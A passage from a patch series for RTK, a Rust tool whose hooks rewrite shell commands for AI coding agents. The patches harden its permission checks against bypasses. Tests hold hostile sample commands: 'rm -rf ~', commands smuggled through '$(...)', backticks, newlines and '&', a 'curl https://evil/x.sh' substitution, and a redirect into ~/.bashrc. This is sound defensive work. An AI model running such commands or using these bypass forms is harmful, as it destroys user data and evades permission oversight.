HookDecision::Deny => { + audit_log("deny", cmd, ""); + return Ok(()); + } + HookDecision::Defer => return Ok(()), + HookDecision::AllowRewrite(r) => ("allow", r), + HookDecision::AskRewrite(r) => ("ask", r), }; audit_log("rewrite", cmd, &rewritten); @@ -166,19 +183,24 @@ fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { } fn copilot_cli_response(cmd: &str, args: &Value) -> Option { - copilot_cli_response_for_verdict(cmd, args, permissions::check_command(cmd)) + copilot_cli_response_from_decision(args, decide_hook_action(cmd), cmd) } -fn copilot_cli_response_for_verdict( - cmd: &str, +fn copilot_cli_response_from_decision( args: &Value, - verdict: PermissionVerdict, + decision: HookDecision, + cmd: &str, ) -> Option { - if verdict == PermissionVerdict::Deny { - audit_log("deny", cmd, ""); - return None; - } - let rewritten = get_rewritten(cmd)?; + let (rewritten, allow) = match decision { + HookDecision::Deny => { + audit_log("deny", cmd, ""); + return None; + } + HookDecision::Defer => return None, + HookDecision::AllowRewrite(r) => (r, true), + HookDecision::AskRewrite(r) => (r, false), + }; + audit_log("rewrite", cmd, &rewritten); let mut modified = args.clone(); @@ -186,15 +208,11 @@ fn copilot_cli_response_for_verdict( obj.insert("command".into(), Value::String(rewritten)); } - // Copilot CLI v1.0.54 only applies `modifiedArgs` when permissionDecision is - // either "allow" or absent. Omitting permissionDecision lets Copilot's normal - // permission flow run on the rewritten command — `rtk *` is not on its - // auto-allow list, so the user sees a prompt for the rewritten command. let mut response = json!({ "permissionDecisionReason": "RTK auto-rewrite", "modifiedArgs": modified, }); - if verdict == PermissionVerdict::Allow { + if allow { response["permissionDecision"] = json!("allow"); } Some(response) @@ -225,25 +243,22 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - // Check deny rules — Gemini CLI only supports allow/deny (no ask mode). - if permissions::check_command(cmd) == PermissionVerdict::Deny { - let _ = writeln!( - io::stdout(), - r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# - ); - return Ok(()); - } - - let (excluded, transparent_prefixes) = crate::core::config::Config::load() - .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) - .unwrap_or_default(); - - match rewrite_command(cmd, &excluded, &transparent_prefixes) { - Some(ref rewritten) => { + match decide_hook_action(cmd) { + HookDecision::Deny => { + let _ = writeln!( + io::stdout(), + r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# + ); + } + HookDecision::AllowRewrite(ref rewritten) => { audit_log("rewrite", cmd, rewritten); - print_rewrite(rewritten); + print_gemini("allow", Some(rewritten)); + } + HookDecision::AskRewrite(ref rewritten) => { + audit_log("ask", cmd, rewritten); + print_gemini("ask_user", Some(rewritten)); } - None => print_allow(), + HookDecision::Defer => print_gemini("ask_user", None), } Ok(()) @@ -253,16 +268,16 @@ fn print_allow() { let _ = writeln!(io::stdout(), r#"{{"decision":"allow"}}"#); } -fn print_rewrite(cmd: &str) { - let output = serde_json::json!({ - "decision": "allow", - "hookSpecificOutput": { - "tool_input": { - "command": cmd - } - } - }); - let _ = writeln!(io::stdout(), "{}", output); +fn gemini_json(decision: &str, rewrite: Option<&str>) -> String { + let mut output = serde_json::json!({ "decision": decision }); + if let Some(cmd) = rewrite { + output["hookSpecificOutput"] = serde_json::json!({ "tool_input": { "command": cmd } }); + } + output.to_string() +} + +fn print_gemini(decision: &str, rewrite: Option<&str>) { + let _ = writeln!(io::stdout(), "{}", gemini_json(decision, rewrite)); } // ── Audit logging ───────────────────────────────────────────── @@ -330,22 +345,21 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let verdict = permissions::check_command(cmd); - if verdict == PermissionVerdict::Deny { - return PayloadAction::Skip { - reason: "skip:deny_rule", - cmd: cmd.to_string(), - }; - } - - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => { + let (rewritten, allow) = match decide_hook_action(cmd) { + HookDecision::Deny => { return PayloadAction::Skip { - reason: "skip:no_match", + reason: "skip:deny_rule", cmd: cmd.to_string(), } } + HookDecision::Defer => { + return PayloadAction::Skip { + reason: "skip:defer", + cmd: cmd.to_string(), + } + } + HookDecision::AllowRewrite(r) => (r, true), + HookDecision::AskRewrite(r) => (r, false), }; let updated_input = { @@ -362,7 +376,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { "updatedInput": updated_input }); - if verdict == PermissionVerdict::Allow { + if allow { hook_output .as_object_mut() .unwrap() @@ -464,40 +478,29 @@ pub fn run_cursor() -> Result<()> { } }; - let verdict = permissions::check_command(&cmd); - if verdict == PermissionVerdict::Deny { - audit_log("deny", &cmd, ""); - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); - } - - let rewritten = match get_rewritten(&cmd) { - Some(r) => r, - None => { - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); + let output = match decide_hook_action(&cmd) { + HookDecision::AllowRewrite(rewritten) => { + audit_log("rewrite", &cmd, &rewritten); + cursor_allow(&rewritten) + } + other => { + if matches!(other, HookDecision::Deny) { + audit_log("deny", &cmd, ""); + } + "{}".to_string() } }; + let _ = writeln!(io::stdout(), "{output}"); + Ok(()) +} - // Cursor preToolUse currently enforces allow/deny only and can ignore - // updated_input when permission is "ask". Use "allow" for rewritten - // commands unless the command is explicitly denied above. - let decision = "allow"; - - audit_log("rewrite", &cmd, &rewritten); - - // `continue: true` mirrors the shape of every other Cursor hook - // (afterShellExecution, beforeSubmitPrompt, stop, ...). Cursor's - // preToolUse panel renders the JSON it received; without this field - // the panel collapses to `Output: {}` even though the rewrite ran, - // which makes the hook look broken to users. - let output = json!({ +fn cursor_allow(rewritten: &str) -> String { + json!({ "continue": true, - "permission": decision, + "permission": "allow", "updated_input": { "command": rewritten } - }); - let _ = writeln!(io::stdout(), "{output}"); - Ok(()) + }) + .to_string() } #[cfg(test)] @@ -528,21 +531,9 @@ fn run_cursor_inner_with_rules( }; let verdict = permissions::check_command_with_rules(&cmd, deny_rules, ask_rules, allow_rules); - if verdict == PermissionVerdict::Deny { - return "{}".to_string(); - } - - match get_rewritten(&cmd) { - Some(rewritten) => { - let decision = "allow"; - let output = json!({ - "continue": true, - "permission": decision, - "updated_input": { "command": rewritten } - }); - output.to_string() - } - None => "{}".to_string(), + match decide_from_verdict(&cmd, verdict) { + HookDecision::AllowRewrite(rewritten) => cursor_allow(&rewritten), + _ => "{}".to_string(), } } @@ -649,26 +640,26 @@ mod tests { } #[test] - fn test_copilot_cli_default_verdict_omits_permission_decision() { - let r = copilot_cli_response_for_verdict( - "cargo test", + fn test_copilot_cli_ask_rewrite_omits_permission_decision() { + let r = copilot_cli_response_from_decision( &cli_args("cargo test"), - PermissionVerdict::Default, + HookDecision::AskRewrite("rtk cargo test".into()), + "cargo test", ) .unwrap(); assert!( r.get("permissionDecision").is_none(), - "Default must NOT set permissionDecision — Copilot then runs its normal prompt flow on the rewritten command" + "AskRewrite must NOT set permissionDecision — Copilot then runs its normal prompt flow on the rewritten command" ); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } #[test] - fn test_copilot_cli_explicit_allow_returns_allow_with_rewrite() { - let r = copilot_cli_response_for_verdict( - "cargo test", + fn test_copilot_cli_allow_rewrite_returns_allow() { + let r = copilot_cli_response_from_decision( &cli_args("cargo test"), - PermissionVerdict::Allow, + HookDecision::AllowRewrite("rtk cargo test".into()), + "cargo test", ) .unwrap(); assert_eq!(r["permissionDecision"], "allow"); @@ -676,13 +667,29 @@ mod tests { } #[test] - fn test_copilot_cli_deny_verdict_returns_none() { - assert!(copilot_cli_response_for_verdict( - "cargo test", - &cli_args("cargo test"), - PermissionVerdict::Deny - ) - .is_none()); + fn test_copilot_cli_deny_returns_none() { + assert!( + copilot_cli_response_from_decision( + &cli_args("cargo test"), + HookDecision::Deny, + "cargo test", + ) + .is_none() + ); + } + + #[test] + fn test_copilot_cli_defer_returns_none() { + // Defer covers both "no rewrite available" and the unattestable-construct gate. + // The hook must emit NO modifiedArgs for CVE bypass forms — no laundering. + assert!( + copilot_cli_response_from_decision( + &cli_args("git status & rm -rf /tmp/x"), + HookDecision::Defer, + "git status & rm -rf /tmp/x", + ) + .is_none() + ); } #[test] @@ -722,10 +729,10 @@ mod tests { "initial_wait": 30, "mode": "sync" }); - let r = copilot_cli_response_for_verdict( - "cargo install ripgrep", + let r = copilot_cli_response_from_decision( &args, - PermissionVerdict::Default, + HookDecision::AskRewrite("rtk cargo install ripgrep".into()), + "cargo install ripgrep", ) .unwrap(); let modified = &r["modifiedArgs"]; @@ -848,6 +855,26 @@ mod tests { assert!(run_claude_inner(&claude_input("htop")).is_none()); } + #[test] + fn test_claude_substitution_not_rewritten() { + // A substitution payload must never be rewritten into updatedInput; + // RTK skips so Claude Code evaluates the original command natively. + assert!(run_claude_inner(&claude_input("git status `rm -rf /tmp/x`")).is_none()); + assert!(run_claude_inner(&claude_input("git status $(rm -rf /tmp/x)")).is_none()); + assert!(run_claude_inner(&claude_input("git log --pretty=\"$(rm -rf /tmp/x)\"")).is_none()); + } + + #[test] + fn test_claude_file_redirect_not_rewritten() { + assert!(run_claude_inner(&claude_input("git log > /tmp/out.txt")).is_none()); + } + + #[test] + fn test_claude_fd_dup_redirect_still_rewritten() { + // `2>&1` is attestable — the rewrite proceeds as normal. + assert!(run_claude_inner(&claude_input("git status 2>&1")).is_some()); + } + #[test] fn test_claude_heredoc_passthrough() { assert!(run_claude_inner(&claude_input("cat < String { + run_cursor_inner_with_rules(input, &[], &[], &["*".to_string()]) + } + #[test] fn test_cursor_rewrite_flat_format() { - let result = run_cursor_inner(&cursor_input("git status")); + let result = run_cursor_allowed(&cursor_input("git status")); let v: Value = serde_json::from_str(&result).unwrap(); // Cursor preToolUse expects allow/deny for rewrite application. assert_eq!(v["permission"], "allow"); @@ -938,6 +969,34 @@ mod tests { assert_eq!(v["continue"], true); } + #[test] + fn test_cursor_no_allow_rule_defers() { + assert_eq!(run_cursor_inner(&cursor_input("git status")), "{}"); + } + + #[test] + fn test_cursor_substitution_defers_even_when_allowed() { + assert_eq!( + run_cursor_allowed(&cursor_input("git status `rm -rf /tmp/x`")), + "{}" + ); + assert_eq!( + run_cursor_allowed(&cursor_input("git status $(rm -rf /tmp/x)")), + "{}" + ); + } + + #[test] + fn test_cursor_unallowed_segment_defers() { + let out = run_cursor_inner_with_rules( + &cursor_input("git status && rm -rf /tmp/x"), + &[], + &[], + &["git *".to_string()], + ); + assert_eq!(out, "{}"); + } + #[test] fn test_cursor_passthrough_empty_json() { let result = run_cursor_inner(&cursor_input("htop")); @@ -964,7 +1023,7 @@ mod tests { #[test] fn test_cursor_no_hook_specific_output() { - let result = run_cursor_inner(&cursor_input("cargo test")); + let result = run_cursor_allowed(&cursor_input("cargo test")); let v: Value = serde_json::from_str(&result).unwrap(); assert!(v.get("hookSpecificOutput").is_none()); assert_eq!(v["permission"], "allow"); @@ -974,7 +1033,7 @@ mod tests { #[test] fn test_cursor_compound_rewrite_includes_continue() { let cmd = "cd \"/tmp/proj\" && git status"; - let result = run_cursor_inner(&cursor_input(cmd)); + let result = run_cursor_allowed(&cursor_input(cmd)); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -991,7 +1050,7 @@ mod tests { // the hook returned `{}` and the rewrite became a silent no-op. let payload = cursor_input("git status"); let with_single_bom = format!("\u{feff}{}", payload); - let result = run_cursor_inner(&with_single_bom); + let result = run_cursor_allowed(&with_single_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -1006,7 +1065,7 @@ mod tests { // the real-world payload shape the loop needs to survive. let payload = cursor_input("git status"); let with_double_bom = format!("\u{feff}\u{feff}{}", payload); - let result = run_cursor_inner(&with_double_bom); + let result = run_cursor_allowed(&with_double_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -1123,4 +1182,137 @@ mod tests { "cargo test should be rewritable when not denied" ); } + + // --- Shared decision flow (all hosts route through this) --- + + fn decide_with_rules( + cmd: &str, + deny: &[String], + ask: &[String], + allow: &[String], + ) -> HookDecision { + let verdict = permissions::check_command_with_rules(cmd, deny, ask, allow); + decide_from_verdict(cmd, verdict) + } + + fn all_allowed() -> Vec { + vec!["*".to_string()] + } + + #[test] + fn test_decide_allow_for_attestable_allowed_command() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + #[test] + fn test_decide_ask_for_default_verdict() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &[]), + HookDecision::AskRewrite(_) + )); + } + + #[test] + fn test_decide_deny() { + assert!(matches!( + decide_with_rules( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &all_allowed() + ), + HookDecision::Deny + )); + } + + #[test] + fn test_decide_defer_for_substitution_even_when_allowed() { + for cmd in [ + "git status `rm -rf /tmp/x`", + "git status $(rm -rf /tmp/x)", + "git log --pretty=\"$(rm -rf /tmp/x)\"", + ] { + assert!( + matches!( + decide_with_rules(cmd, &[], &[], &all_allowed()), + HookDecision::Defer + ), + "expected Defer for {cmd}" + ); + } + } + + #[test] + fn test_decide_defer_for_file_redirect() { + assert!(matches!( + decide_with_rules("git log > /tmp/out.txt", &[], &[], &all_allowed()), + HookDecision::Defer + )); + } + + #[test] + fn test_decide_allow_for_fd_dup_redirect() { + assert!(matches!( + decide_with_rules("git status 2>&1", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + // --- Gemini rendering --- + + fn gemini_render(cmd: &str, deny: &[String], ask: &[String], allow: &[String]) -> String { + match decide_with_rules(cmd, deny, ask, allow) { + HookDecision::Deny => { + r#"{"decision":"deny","reason":"Blocked by RTK permission rule"}"#.to_string() + } + HookDecision::AllowRewrite(r) => gemini_json("allow", Some(&r)), + HookDecision::AskRewrite(r) => gemini_json("ask_user", Some(&r)), + HookDecision::Defer => gemini_json("ask_user", None), + } + } + + #[test] + fn test_gemini_allow_emits_rewrite() { + let v: Value = + serde_json::from_str(&gemini_render("git status", &[], &[], &all_allowed())).unwrap(); + assert_eq!(v["decision"], "allow"); + assert_eq!( + v["hookSpecificOutput"]["tool_input"]["command"], + "rtk git status" + ); + } + + #[test] + fn test_gemini_default_asks_user() { + let v: Value = serde_json::from_str(&gemini_render("git status", &[], &[], &[])).unwrap(); + assert_eq!(v["decision"], "ask_user"); + } + + #[test] + fn test_gemini_substitution_asks_user_without_rewrite() { + let v: Value = serde_json::from_str(&gemini_render( + "git status `rm -rf /tmp/x`", + &[], + &[], + &all_allowed(), + )) + .unwrap(); + assert_eq!(v["decision"], "ask_user"); + assert!(v.get("hookSpecificOutput").is_none()); + } + + #[test] + fn test_gemini_deny_decision() { + let v: Value = serde_json::from_str(&gemini_render( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &[], + )) + .unwrap(); + assert_eq!(v["decision"], "deny"); + } } diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 71536b0e1a..9519cfcd83 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,6 +1,6 @@ use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; -use crate::discover::lexer::split_on_operators; +use crate::discover::lexer::split_for_permissions; use serde_json::Value; use std::path::PathBuf; @@ -35,6 +35,22 @@ pub(crate) fn check_command_with_rules( allow_rules: &[String], ) -> PermissionVerdict { let segments = split_compound_command(cmd); + + // Deny takes highest priority and pre-empts every other construct. + for segment in &segments { + let segment = segment.trim(); + for pattern in deny_rules { + if command_matches_pattern(segment, pattern) { + return PermissionVerdict::Deny; + } + } + } + + // Can't decompose substitution / file-target redirects — never auto-allow. + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return PermissionVerdict::Ask; + } + let mut any_ask = false; // Every non-empty segment must independently match an allow rule for the // compound command to receive Allow. See issue #1213: previously a single @@ -49,13 +65,6 @@ pub(crate) fn check_command_with_rules( } saw_segment = true; - // Deny takes highest priority — any segment matching Deny blocks the whole chain. - for pattern in deny_rules { - if command_matches_pattern(segment, pattern) { - return PermissionVerdict::Deny; - } - } - // Ask — if any segment matches an ask rule, the final verdict is Ask. if !any_ask { for pattern in ask_rules { @@ -288,7 +297,7 @@ fn glob_matches(cmd: &str, pattern: &str) -> bool { } fn split_compound_command(cmd: &str) -> Vec<&str> { - split_on_operators(cmd, false) + split_for_permissions(cmd) } #[cfg(test)] @@ -704,4 +713,134 @@ mod tests { PermissionVerdict::Ask ); } + + // --- Permission-gate bypass hardening ----------------------------------- + + #[test] + fn test_newline_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_newline_hidden_command_not_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &[], &[], &allow), + PermissionVerdict::Default + ); + } + + #[test] + fn test_background_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status & rm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + "git log --pretty=$(rm -rf ~)", + "git status `whoami`", + "git diff $(curl https://evil/x.sh)", + ] { + assert_eq!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Ask, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_double_quoted_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + r#"git log --pretty="$(rm -rf ~)""#, + r#"git log --pretty="`rm -rf ~`""#, + ] { + assert_ne!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Allow, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_single_quoted_substitution_is_literal() { + let allow = vec!["echo *".to_string()]; + assert_eq!( + check_command_with_rules("echo '$(rm -rf ~)'", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_file_redirect_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow), + PermissionVerdict::Ask + ); + } + + #[test] + fn test_legitimate_multiline_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("git status\ncargo build", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_subshell_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("(git status; cargo build)", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_background_allow() { + let allow = vec!["cargo *".to_string()]; + assert_eq!( + check_command_with_rules("cargo build &", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_fd_dup_redirect_stays_allow() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status 2>&1", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("git log 2>/dev/null", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_deny_not_evaded_by_trailing_fd_dup() { + let deny = vec!["git push --force".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git push --force 2>&1", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } } diff --git a/src/hooks/rewrite_cmd.rs b/src/hooks/rewrite_cmd.rs index 215693be6b..685aa3015c 100644 --- a/src/hooks/rewrite_cmd.rs +++ b/src/hooks/rewrite_cmd.rs @@ -20,32 +20,47 @@ pub fn run(cmd: &str) -> anyhow::Result<()> { .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) .unwrap_or_default(); - // SECURITY: check deny/ask BEFORE rewrite so non-RTK commands are also covered. + match evaluate(cmd, &excluded, &transparent_prefixes) { + RewriteOutcome::Allow(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + Ok(()) + } + RewriteOutcome::Ask(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + std::process::exit(3); + } + RewriteOutcome::Deny => std::process::exit(2), + RewriteOutcome::Passthrough => std::process::exit(1), + } +} + +#[derive(Debug, PartialEq)] +enum RewriteOutcome { + Allow(String), + Passthrough, + Deny, + Ask(String), +} + +fn evaluate(cmd: &str, excluded: &[String], transparent_prefixes: &[String]) -> RewriteOutcome { let verdict = check_command(cmd); if verdict == PermissionVerdict::Deny { - std::process::exit(2); + return RewriteOutcome::Deny; } - match registry::rewrite_command(cmd, &excluded, &transparent_prefixes) { + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return RewriteOutcome::Passthrough; + } + + match registry::rewrite_command(cmd, excluded, transparent_prefixes) { Some(rewritten) => match verdict { - PermissionVerdict::Allow => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - Ok(()) - } - PermissionVerdict::Ask | PermissionVerdict::Default => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - std::process::exit(3); - } - PermissionVerdict::Deny => unreachable!(), + PermissionVerdict::Allow => RewriteOutcome::Allow(rewritten), + _ => RewriteOutcome::Ask(rewritten), }, - None => { - // No RTK equivalent. Exit 1 = passthrough. - // Claude Code independently evaluates its own ask rules on the original cmd. - std::process::exit(1); - } + None => RewriteOutcome::Passthrough, } } @@ -75,6 +90,58 @@ mod tests { ); } + mod unattestable_passthrough { + use super::super::{evaluate, RewriteOutcome}; + + #[test] + fn test_backtick_substitution_passthrough() { + assert_eq!( + evaluate("git status `rm -rf /tmp/x`", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_dollar_substitution_passthrough() { + assert_eq!( + evaluate("git status $(rm -rf /tmp/x)", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_double_quoted_substitution_passthrough() { + assert_eq!( + evaluate("git log --pretty=\"$(rm -rf /tmp/x)\"", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_file_redirect_passthrough() { + assert_eq!( + evaluate("git log > /tmp/out.txt", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_fd_dup_redirect_still_rewrites() { + assert!(matches!( + evaluate("git status 2>&1", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + + #[test] + fn test_plain_command_still_rewrites() { + assert!(matches!( + evaluate("git status", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + } + /// SECURITY: Verify the exit code protocol for permission verdicts. /// /// The bash hook (.claude/hooks/rtk-rewrite.sh) interprets exit codes as: From a4bb55efa9be1b0bf69ccc2cff9ddcbf2af7a48d Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:15:19 +0200 Subject: [PATCH 45/52] fix(permissions): cursor and gemini use correct permissions settings file - --- src/hooks/hook_cmd.rs | 21 ++++++--- src/hooks/permissions.rs | 93 +++++++++++++++++++++++++++++++++++++++- 2 files changed, 105 insertions(+), 9 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 36fc353e58..7a6b06797b 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -146,12 +146,12 @@ fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { } } -fn decide_hook_action(cmd: &str) -> HookDecision { - decide_from_verdict(cmd, permissions::check_command(cmd)) +fn decide_hook_action(cmd: &str, host: permissions::Host) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command_for(cmd, host)) } fn handle_vscode(cmd: &str) -> Result<()> { - let (decision, rewritten) = match decide_hook_action(cmd) { + let (decision, rewritten) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { audit_log("deny", cmd, ""); return Ok(()); @@ -183,7 +183,14 @@ fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { } fn copilot_cli_response(cmd: &str, args: &Value) -> Option { - copilot_cli_response_from_decision(args, decide_hook_action(cmd), cmd) + // Copilot CLI v1.0.54 itself reads `.claude/settings.json` for permission + // rules (see the binary), so routing through `Host::Claude` keeps RTK's + // verdict consistent with what Copilot would have decided on its own. + copilot_cli_response_from_decision( + args, + decide_hook_action(cmd, permissions::Host::Claude), + cmd, + ) } fn copilot_cli_response_from_decision( @@ -243,7 +250,7 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - match decide_hook_action(cmd) { + match decide_hook_action(cmd, permissions::Host::Gemini) { HookDecision::Deny => { let _ = writeln!( io::stdout(), @@ -345,7 +352,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let (rewritten, allow) = match decide_hook_action(cmd) { + let (rewritten, allow) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { return PayloadAction::Skip { reason: "skip:deny_rule", @@ -478,7 +485,7 @@ pub fn run_cursor() -> Result<()> { } }; - let output = match decide_hook_action(&cmd) { + let output = match decide_hook_action(&cmd, permissions::Host::Cursor) { HookDecision::AllowRewrite(rewritten) => { audit_log("rewrite", &cmd, &rewritten); cursor_allow(&rewritten) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 9519cfcd83..26ad9adf0b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,4 +1,4 @@ -use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; +use super::constants::{CLAUDE_DIR, CURSOR_DIR, GEMINI_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; use crate::discover::lexer::split_for_permissions; use serde_json::Value; @@ -23,7 +23,23 @@ pub enum PermissionVerdict { /// Returns `Default` when no rules match — callers should treat this as ask /// to match Claude Code's least-privilege default. pub fn check_command(cmd: &str) -> PermissionVerdict { - let (deny_rules, ask_rules, allow_rules) = load_permission_rules(); + check_command_for(cmd, Host::Claude) +} + +/// The agent host whose own permission settings should be consulted. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Host { + Claude, + Cursor, + Gemini, +} + +pub fn check_command_for(cmd: &str, host: Host) -> PermissionVerdict { + let (deny_rules, ask_rules, allow_rules) = match host { + Host::Claude => load_permission_rules(), + Host::Cursor => load_cursor_rules(), + Host::Gemini => load_gemini_rules(), + }; check_command_with_rules(cmd, &deny_rules, &ask_rules, &allow_rules) } @@ -167,6 +183,79 @@ fn get_settings_paths() -> Vec { paths } +fn read_json(path: &std::path::Path) -> Option { + let content = std::fs::read_to_string(path).ok()?; + match serde_json::from_str::(&content) { + Ok(v) => Some(v), + Err(_) => { + eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + None + } + } +} + +fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: &mut Vec) { + let Some(arr) = rules_value.and_then(|v| v.as_array()) else { + return; + }; + for rule in arr.iter().filter_map(|r| r.as_str()) { + for pre in prefixes { + let bare = &pre[..pre.len() - 1]; + if rule == bare { + target.push("*".to_string()); + break; + } + if let Some(inner) = rule.strip_prefix(pre).and_then(|s| s.strip_suffix(')')) { + target.push(inner.to_string()); + break; + } + } + } +} + +/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. +/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +fn load_cursor_rules() -> (Vec, Vec, Vec) { + let mut deny = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(CURSOR_DIR).join("cli-config.json")); + } + if let Some(root) = find_project_root() { + paths.push(root.join(CURSOR_DIR).join("cli.json")); + } + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(perms) = json.get("permissions") { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); + } + } + (deny, Vec::new(), allow) +} + +/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. +/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. +fn load_gemini_rules() -> (Vec, Vec, Vec) { + let mut ask = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + if let Some(root) = find_project_root() { + paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + let shells = ["run_shell_command(", "ShellTool("]; + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(tools) = json.get("tools") { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); + } + } + (Vec::new(), ask, allow) +} + /// Locate the project root by walking up from CWD looking for `.claude/`. /// /// Falls back to `git rev-parse --show-toplevel` if not found via directory walk. From 1ccf6e3da72b6c2feff43bbc4d9fc3ed2e4cd083 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:20:37 +0200 Subject: [PATCH 46/52] fix(permissions): add test for cursor and gemini settings perm --- src/hooks/permissions.rs | 46 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 26ad9adf0b..d06eb98f6b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -188,7 +188,10 @@ fn read_json(path: 